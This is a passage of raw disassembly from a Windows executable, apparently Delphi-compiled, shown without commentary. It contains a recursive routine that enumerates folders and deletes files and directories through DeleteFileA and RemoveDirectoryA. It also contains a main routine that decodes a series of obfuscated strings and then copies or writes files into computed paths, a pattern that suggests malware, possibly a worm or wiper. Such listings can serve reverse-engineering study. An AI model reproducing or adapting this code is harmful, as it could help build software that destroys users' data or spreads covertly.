var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE84h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_17C], ebx
		mov	[ebp+var_178], ebx
		mov	[ebp+var_174], ebx
		mov	[ebp+var_170], ebx
		mov	[ebp+var_16C], ebx
		mov	[ebp+var_168], ebx
		mov	[ebp+var_164], ebx
		mov	esi, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		lea	eax, [ebp+var_160]
		mov	edx, ds:off_4061D4
		call	sub_403AF0
		xor	eax, eax
		push	ebp
		push	offset loc_417BCB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax-1], 5Ch
		jz	short loc_4179B8
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_417BE4
		call	sub_40372C

loc_4179B8:				; CODE XREF: sub_417928+81j
		lea	eax, [ebp+var_164]
		mov	ecx, offset dword_417BF0
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	eax, [ebp+var_164]
		lea	ecx, [ebp+var_160]
		mov	edx, 3Fh
		call	sub_407244
		test	eax, eax
		jnz	loc_417A7A

loc_4179E9:				; CODE XREF: sub_417928+14Cj
		mov	eax, [ebp+var_154]
		mov	edx, offset dword_417BFC
		call	sub_403834
		jz	short loc_417A67
		mov	eax, [ebp+var_154]
		mov	edx, offset dword_417C08
		call	sub_403834
		jz	short loc_417A67
		test	[ebp+var_158], 10h
		jle	short loc_417A67
		push	ebx
		lea	eax, [ebp+var_168]
		mov	ecx, [ebp+var_154]
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	eax, [ebp+var_168]
		mov	ecx, esi
		mov	edx, [ebp+var_8]
		call	sub_417928
		test	bl, bl
		jz	short loc_417A67
		lea	eax, [ebp+var_16C]
		mov	ecx, [ebp+var_154]
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	eax, [ebp+var_16C]
		call	sub_4038E8
		push	eax
		call	j_RemoveDirectoryA

loc_417A67:				; CODE XREF: sub_417928+D1j
					; sub_417928+E3j ...
		lea	eax, [ebp+var_160]
		call	sub_407294
		test	eax, eax
		jz	loc_4179E9

loc_417A7A:				; CODE XREF: sub_417928+BBj
		lea	eax, [ebp+var_160]
		call	sub_4072B8
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax-1], 5Ch
		jz	short loc_417AA4
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_417BE4
		call	sub_40372C

loc_417AA4:				; CODE XREF: sub_417928+16Dj
		lea	eax, [ebp+var_170]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	eax, [ebp+var_170]
		lea	ecx, [ebp+var_160]
		mov	edx, 2Fh
		call	sub_407244
		test	eax, eax
		jnz	loc_417B84

loc_417AD3:				; CODE XREF: sub_417928+256j
		mov	eax, [ebp+var_154]
		mov	edx, offset dword_417BFC
		call	sub_403834
		jz	loc_417B71
		mov	eax, [ebp+var_154]
		mov	edx, offset dword_417C08
		call	sub_403834
		jz	short loc_417B71
		cmp	[ebp+var_154], 0
		jz	short loc_417B71
		test	bl, bl
		jz	short loc_417B50
		lea	eax, [ebp+var_174]
		mov	ecx, [ebp+var_154]
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	eax, [ebp+var_174]
		xor	edx, edx
		call	sub_4071B8
		lea	eax, [ebp+var_178]
		mov	ecx, [ebp+var_154]
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	eax, [ebp+var_178]
		call	sub_4038E8
		push	eax
		call	j_DeleteFileA
		jmp	short loc_417B71
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417B50:				; CODE XREF: sub_417928+1DEj
		lea	eax, [ebp+var_17C]
		mov	ecx, [ebp+var_154]
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	edx, [ebp+var_17C]
		mov	eax, [esi]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]

loc_417B71:				; CODE XREF: sub_417928+1BBj
					; sub_417928+1D1j ...
		lea	eax, [ebp+var_160]
		call	sub_407294
		test	eax, eax
		jz	loc_417AD3

loc_417B84:				; CODE XREF: sub_417928+1A5j
		lea	eax, [ebp+var_160]
		call	sub_4072B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_417BD2

loc_417B9C:				; CODE XREF: CODE:00417BD0j
		lea	eax, [ebp+var_17C]
		mov	edx, 7
		call	sub_4034EC
		lea	eax, [ebp+var_160]
		mov	edx, ds:off_4061D4
		call	sub_403BBC
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_417928	endp ; sp = -190h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417BCB:				; DATA XREF: sub_417928+66o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_417B9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417BD2:				; DATA XREF: sub_417928+26Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_417BE4	dd 5Ch,	0FFFFFFFFh, 3	; DATA XREF: sub_417928+86o
					; sub_417928+172o
dword_417BF0	dd 2A2E2Ah, 0FFFFFFFFh,	1 ; DATA XREF: sub_417928+96o
dword_417BFC	dd 2Eh,	0FFFFFFFFh, 2	; DATA XREF: sub_417928+C7o
					; sub_417928+1B1o
dword_417C08	dd 2E2Eh		; DATA XREF: sub_417928+D9o
					; sub_417928+1C7o
off_417C0C	dd offset dword_417C10	; DATA XREF: sub_417F24+71r
					; sub_417F24+379r ...
dword_417C10	dd 312E0211h, 4		; DATA XREF: CODE:00417C0Co
		dd offset off_401000
		dd 48h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_417C20	proc near		; CODE XREF: sub_417C88+5Ap
					; sub_417D9C+6Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_417C7C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	esi, ebx
		jl	short loc_417C66
		inc	esi
		xchg	ebx, esi

loc_417C4A:				; CODE XREF: sub_417C20+44j
		push	0
		mov	ecx, offset dword_41EF14
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	edx, [eax+esi*4]
		mov	eax, [ebp+var_4]
		call	sub_417928
		inc	esi
		dec	ebx
		jnz	short loc_417C4A

loc_417C66:				; CODE XREF: sub_417C20+25j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_417C83

loc_417C73:				; CODE XREF: CODE:00417C81j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_417C20	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417C7C:				; DATA XREF: sub_417C20+18o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_417C73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417C83:				; DATA XREF: sub_417C20+4Eo
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_417C88	proc near		; CODE XREF: sub_417F24+1F2p
					; sub_417F24+216p ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_110], ebx
		mov	[ebp+var_114], ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_417D7E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ds:dword_41EF14
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_417C20
		pop	ecx
		mov	eax, [ebp+var_8]
		call	sub_4177BC
		lea	edx, [ebp+var_108]
		call	sub_40296C
		lea	edx, [ebp+var_108]
		mov	eax, offset dword_41EEF4
		call	sub_4036EC
		push	1
		push	1
		lea	eax, [ebp+var_10C]
		push	eax
		lea	edx, [ebp+var_110]
		mov	eax, [ebp+var_8]
		call	sub_41620C
		mov	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_114]
		mov	ecx, offset dword_417D94
		mov	edx, ds:dword_41EEFC
		call	sub_403770
		mov	eax, [ebp+var_114]
		mov	ecx, ds:dword_41EEF4
		pop	edx
		call	sub_415EAC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_417D85

loc_417D60:				; CODE XREF: CODE:00417D83j
		lea	eax, [ebp+var_114]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_417C88	endp ; sp = -12Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417D7E:				; DATA XREF: sub_417C88+39o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_417D60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417D85:				; DATA XREF: sub_417C88+D3o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 4
dword_417D94	dd 3041465Ch, 0		; DATA XREF: sub_417C88+A9o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_417D9C	proc near		; CODE XREF: sub_417F24+35Cp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE4h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_114], ebx
		mov	[ebp+var_118], ebx
		mov	[ebp+var_11C], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		mov	eax, [ebp+var_C]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_417EF5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ds:dword_41EF14
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_417C20
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [ebp+var_C]
		call	sub_417C20
		pop	ecx
		lea	ecx, [ebp+var_10]
		xor	edx, edx
		mov	eax, offset a9luv_0 ; "9luv"
		call	sub_415FAC
		mov	ecx, [ebp+var_10]
		mov	eax, offset dword_41EEF4
		mov	edx, [ebp+var_4]
		call	sub_403770
		mov	edx, ds:dword_41EEF4
		mov	eax, ds:dword_41EF14
		mov	ecx, [eax]
		call	dword ptr [ecx+64h]
		mov	edx, 2
		mov	eax, ds:dword_41EEF4
		call	sub_4071B8
		mov	eax, ds:dword_41EF14
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		lea	edx, [ebp+var_110]
		call	sub_40296C
		lea	edx, [ebp+var_110]
		mov	eax, offset dword_41EEF4
		call	sub_4036EC
		push	1
		push	1
		lea	eax, [ebp+var_114]
		push	eax
		lea	edx, [ebp+var_118]
		mov	eax, [ebp+var_4]
		call	sub_41620C
		mov	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_11C]
		mov	ecx, offset dword_417F1C
		mov	edx, ds:dword_41EEFC
		call	sub_403770
		mov	eax, [ebp+var_11C]
		mov	ecx, ds:dword_41EEF4
		pop	edx
		call	sub_415EAC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_417EFC

loc_417ED7:				; CODE XREF: CODE:00417EFAj
		lea	eax, [ebp+var_11C]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_4034EC
		retn
sub_417D9C	endp ; sp = -138h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417EF5:				; DATA XREF: sub_417D9C+4Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_417ED7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_417EFC:				; DATA XREF: sub_417D9C+136o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 4
a9luv_0		db '9luv',0             ; DATA XREF: sub_417D9C+88o
		align 4
		dd 0FFFFFFFFh, 4
dword_417F1C	dd 3041465Ch, 0		; DATA XREF: sub_417D9C+10Co

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_417F24	proc near		; CODE XREF: sub_41A5E4+BBp

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Dh

loc_417F2C:				; CODE XREF: sub_417F24+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_417F2C
		push	ebx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4182D1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	1
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_4182E8
		mov	edx, offset dword_4182F4
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	ds:dword_41EF14, eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	ds:dword_41EF18, eax
		push	0Ah
		lea	eax, [ebp+var_4]
		mov	ecx, 1
		mov	edx, ds:off_417C0C
		call	sub_4045A0
		add	esp, 4
		lea	ecx, [ebp+var_18]
		xor	edx, edx
		mov	eax, offset dword_418300
		call	sub_415FAC
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_4]
		add	eax, 4
		call	sub_40351C
		lea	ecx, [ebp+var_1C]
		xor	edx, edx
		mov	eax, offset dword_418310
		call	sub_415FAC
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		call	sub_40351C
		lea	ecx, [ebp+var_20]
		xor	edx, edx
		mov	eax, offset dword_418320
		call	sub_415FAC
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		call	sub_40351C
		lea	ecx, [ebp+var_24]
		xor	edx, edx
		mov	eax, offset dword_418330
		call	sub_415FAC
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_4]
		add	eax, 10h
		call	sub_40351C
		lea	ecx, [ebp+var_28]
		xor	edx, edx
		mov	eax, offset a67nzo ; "67nzo"
		call	sub_415FAC
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_4]
		add	eax, 14h
		call	sub_40351C
		lea	ecx, [ebp+var_2C]
		xor	edx, edx
		mov	eax, offset dword_418350
		call	sub_415FAC
		mov	edx, [ebp+var_2C]
		mov	eax, [ebp+var_4]
		add	eax, 18h
		call	sub_40351C
		lea	ecx, [ebp+var_30]
		xor	edx, edx
		mov	eax, offset dword_418360
		call	sub_415FAC
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		call	sub_40351C
		lea	ecx, [ebp+var_34]
		xor	edx, edx
		mov	eax, offset dword_418370
		call	sub_415FAC
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_4]
		add	eax, 20h
		call	sub_40351C
		lea	ecx, [ebp+var_38]
		xor	edx, edx
		mov	eax, offset dword_418380
		call	sub_415FAC
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_4]
		add	eax, 24h
		call	sub_40351C
		push	0
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_3C]
		xor	edx, edx
		mov	eax, offset aOjmsq ; "Ojmsq"
		call	sub_415FAC
		mov	edx, [ebp+var_3C]
		xor	ecx, ecx
		mov	eax, ds:dword_41EEEC
		call	sub_415EAC
		lea	ecx, [ebp+var_40]
		xor	edx, edx
		mov	eax, offset dword_4183A0
		call	sub_415FAC
		mov	ecx, [ebp+var_40]
		lea	eax, [ebp+var_C]
		mov	edx, ds:dword_41EEE8
		call	sub_403770
		cmp	[ebp+var_8], 0
		jnz	loc_41818A
		push	ebp
		push	1
		lea	eax, [ebp+var_44]
		mov	ecx, offset dword_4183AC
		mov	edx, [ebp+var_C]
		call	sub_403770
		mov	edx, [ebp+var_44]
		mov	ecx, 1
		mov	eax, [ebp+var_10]
		call	sub_417C88
		pop	ecx
		push	ebp
		push	3
		lea	eax, [ebp+var_48]
		mov	ecx, offset dword_4183B8
		mov	edx, [ebp+var_C]
		call	sub_403770
		mov	edx, [ebp+var_48]
		mov	ecx, 2
		mov	eax, [ebp+var_10]
		call	sub_417C88
		pop	ecx
		push	ebp
		push	4
		lea	eax, [ebp+var_4C]
		mov	ecx, offset dword_4183C4
		mov	edx, [ebp+var_C]
		call	sub_403770
		mov	edx, [ebp+var_4C]
		mov	ecx, 4
		mov	eax, [ebp+var_10]
		call	sub_417C88
		pop	ecx
		push	ebp
		push	4
		lea	eax, [ebp+var_50]
		mov	ecx, offset dword_4183D0
		mov	edx, [ebp+var_C]
		call	sub_403770
		mov	edx, [ebp+var_50]
		mov	ecx, 4
		mov	eax, ds:dword_41EEE0
		call	sub_417C88
		pop	ecx

loc_41818A:				; CODE XREF: sub_417F24+1CEj
		cmp	[ebp+var_8], 0
		jz	short loc_4181A3
		mov	eax, [ebp+var_8]
		mov	edx, offset dword_4183DC
		call	sub_403834
		jnz	loc_418247

loc_4181A3:				; CODE XREF: sub_417F24+26Aj
		push	0
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		lea	ecx, [ebp+var_5C]
		xor	edx, edx
		mov	eax, offset aDaxdipbxnSugav ; "└²∙є╗▐║∙█{≤⌠ё²╒÷≈╒▀┤rp▀┤rpc▄┬▐▒Pw≈⌡∙Q|░"...
		call	sub_415FAC
		mov	eax, [ebp+var_5C]
		xor	ecx, ecx
		xor	edx, edx
		call	sub_415EAC
		mov	eax, [ebp+var_58]
		lea	edx, [ebp+var_54]
		call	sub_4073B8
		mov	edx, [ebp+var_54]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		cmp	ds:dword_41EEF4, 0
		jnz	short loc_4181F9
		mov	eax, offset dword_41EEF4
		mov	edx, ds:dword_41EEE8
		call	sub_40351C
		jmp	short loc_418214
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4181F9:				; CODE XREF: sub_417F24+2C1j
		mov	eax, ds:dword_41EEF4
		call	sub_403724
		mov	ebx, eax
		mov	eax, offset dword_41EEF4
		call	sub_4038F4
		mov	byte ptr [eax+ebx-1], 20h

loc_418214:				; CODE XREF: sub_417F24+2D3j
		push	ebp
		push	9
		lea	edx, [ebp+var_60]
		mov	eax, ds:dword_41EEF4
		call	sub_406EEC
		mov	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_64]
		mov	ecx, offset dword_41841C
		mov	edx, [ebp+var_C]
		call	sub_403770
		mov	edx, [ebp+var_64]
		mov	ecx, 9
		pop	eax
		call	sub_417C88
		pop	ecx

loc_418247:				; CODE XREF: sub_417F24+279j
		cmp	[ebp+var_8], 0
		jz	short loc_41825C
		mov	eax, [ebp+var_8]
		mov	edx, offset dword_418428
		call	sub_403834
		jnz	short loc_418286

loc_41825C:				; CODE XREF: sub_417F24+327j
		push	ebp
		push	5
		push	7
		lea	eax, [ebp+var_68]
		mov	ecx, offset dword_418434
		mov	edx, [ebp+var_C]
		call	sub_403770
		mov	eax, [ebp+var_68]
		mov	ecx, ds:dword_41EEE4
		mov	edx, ds:dword_41EEE0
		call	sub_417D9C
		pop	ecx

loc_418286:				; CODE XREF: sub_417F24+336j
		mov	eax, ds:dword_41EF14
		call	sub_402BDC
		mov	eax, ds:dword_41EF18
		call	sub_402BDC
		lea	eax, [ebp+var_4]
		mov	edx, ds:off_417C0C
		call	sub_4045AC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4182D8

loc_4182B5:				; CODE XREF: CODE:004182D6j
		lea	eax, [ebp+var_68]
		mov	edx, 19h
		call	sub_4034EC
		lea	eax, [ebp+var_4]
		mov	edx, ds:off_417C0C
		call	sub_4045AC
		retn
sub_417F24	endp ; sp = -54h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4182D1:				; DATA XREF: sub_417F24+1Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4182B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4182D8:				; DATA XREF: sub_417F24+38Co
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_4182E8	dd 35h,	0FFFFFFFFh, 3	; DATA XREF: sub_417F24+31o
dword_4182F4	dd 334446h, 0FFFFFFFFh,	5 ; DATA XREF: sub_417F24+36o
dword_418300	dd 3579717Fh, 3Ah, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+84o
dword_418310	dd 357E6E73h, 3Ah, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+A1o
dword_418320	dd 357E7874h, 3Ah, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+BEo
dword_418330	dd 7F723736h, 79h, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+DBo
a67nzo		db '67nzo',0            ; DATA XREF: sub_417F24+F8o
		align 4
		dd 0FFFFFFFFh, 5
dword_418350	dd 77823736h, 7Fh, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+115o
dword_418360	dd 74843736h, 7Ch, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+132o
dword_418370	dd 836F3736h, 71h, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+14Fo
dword_418380	dd 6C813736h, 6Eh, 0FFFFFFFFh, 5 ; DATA	XREF: sub_417F24+16Co
aOjmsq		db 'Ojmsq',0            ; DATA XREF: sub_417F24+191o
		align 4
		dd 0FFFFFFFFh, 3
dword_4183A0	dd 6B7A66h, 0FFFFFFFFh,	1 ; DATA XREF: sub_417F24+1AFo
dword_4183AC	dd 79h,	0FFFFFFFFh, 1	; DATA XREF: sub_417F24+1DAo
dword_4183B8	dd 68h,	0FFFFFFFFh, 1	; DATA XREF: sub_417F24+1FEo
dword_4183C4	dd 69h,	0FFFFFFFFh, 1	; DATA XREF: sub_417F24+222o
dword_4183D0	dd 74h,	0FFFFFFFFh, 1	; DATA XREF: sub_417F24+246o
dword_4183DC	dd 31h,	0FFFFFFFFh, 2Ah	; DATA XREF: sub_417F24+26Fo
aDaxdipbxnSugav	db '└²∙є╗▐║∙█{≤⌠ё²╒÷≈╒▀┤rp▀┤rpc▄┬▐▒Pw≈⌡∙Q|░²√┼',0
					; DATA XREF: sub_417F24+28Co
		align 4
		dd 0FFFFFFFFh, 1
dword_41841C	dd 77h,	0FFFFFFFFh, 1	; DATA XREF: sub_417F24+307o
dword_418428	dd 32h,	0FFFFFFFFh, 1	; DATA XREF: sub_417F24+32Co
dword_418434	dd 64h			; DATA XREF: sub_417F24+340o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418438	proc near		; CODE XREF: sub_4184C4+19Cp

var_1D4		= byte ptr -1D4h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE2Ch
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4184B7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_1D4]
		call	sub_404E16
		lea	eax, [ebp+var_1D4]
		call	sub_405005
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_1D4]
		call	sub_403A60
		call	sub_40520F
		lea	eax, [ebp+var_1D4]
		call	sub_404F80
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4184BE

loc_4184A9:				; CODE XREF: CODE:004184BCj
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_418438	endp ; sp = -1DCh

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4184B7:				; DATA XREF: sub_418438+22o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4184A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4184BE:				; DATA XREF: sub_418438+6Co
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4184C4	proc near		; CODE XREF: sub_4184C4+81p
					; sub_418880+1C3p

var_CD0		= dword	ptr -0CD0h
var_CCC		= dword	ptr -0CCCh
var_CC8		= dword	ptr -0CC8h
var_CC4		= dword	ptr -0CC4h
var_CC0		= dword	ptr -0CC0h
var_CBC		= dword	ptr -0CBCh
var_CB8		= dword	ptr -0CB8h
var_CB4		= dword	ptr -0CB4h
var_CB0		= dword	ptr -0CB0h
var_CAC		= dword	ptr -0CACh
var_CA8		= dword	ptr -0CA8h
var_CA4		= dword	ptr -0CA4h
var_CA0		= byte ptr -0CA0h
var_C9C		= byte ptr -0C9Ch
var_C98		= dword	ptr -0C98h
var_C94		= dword	ptr -0C94h
var_C90		= byte ptr -0C90h
var_C84		= byte ptr -0C84h
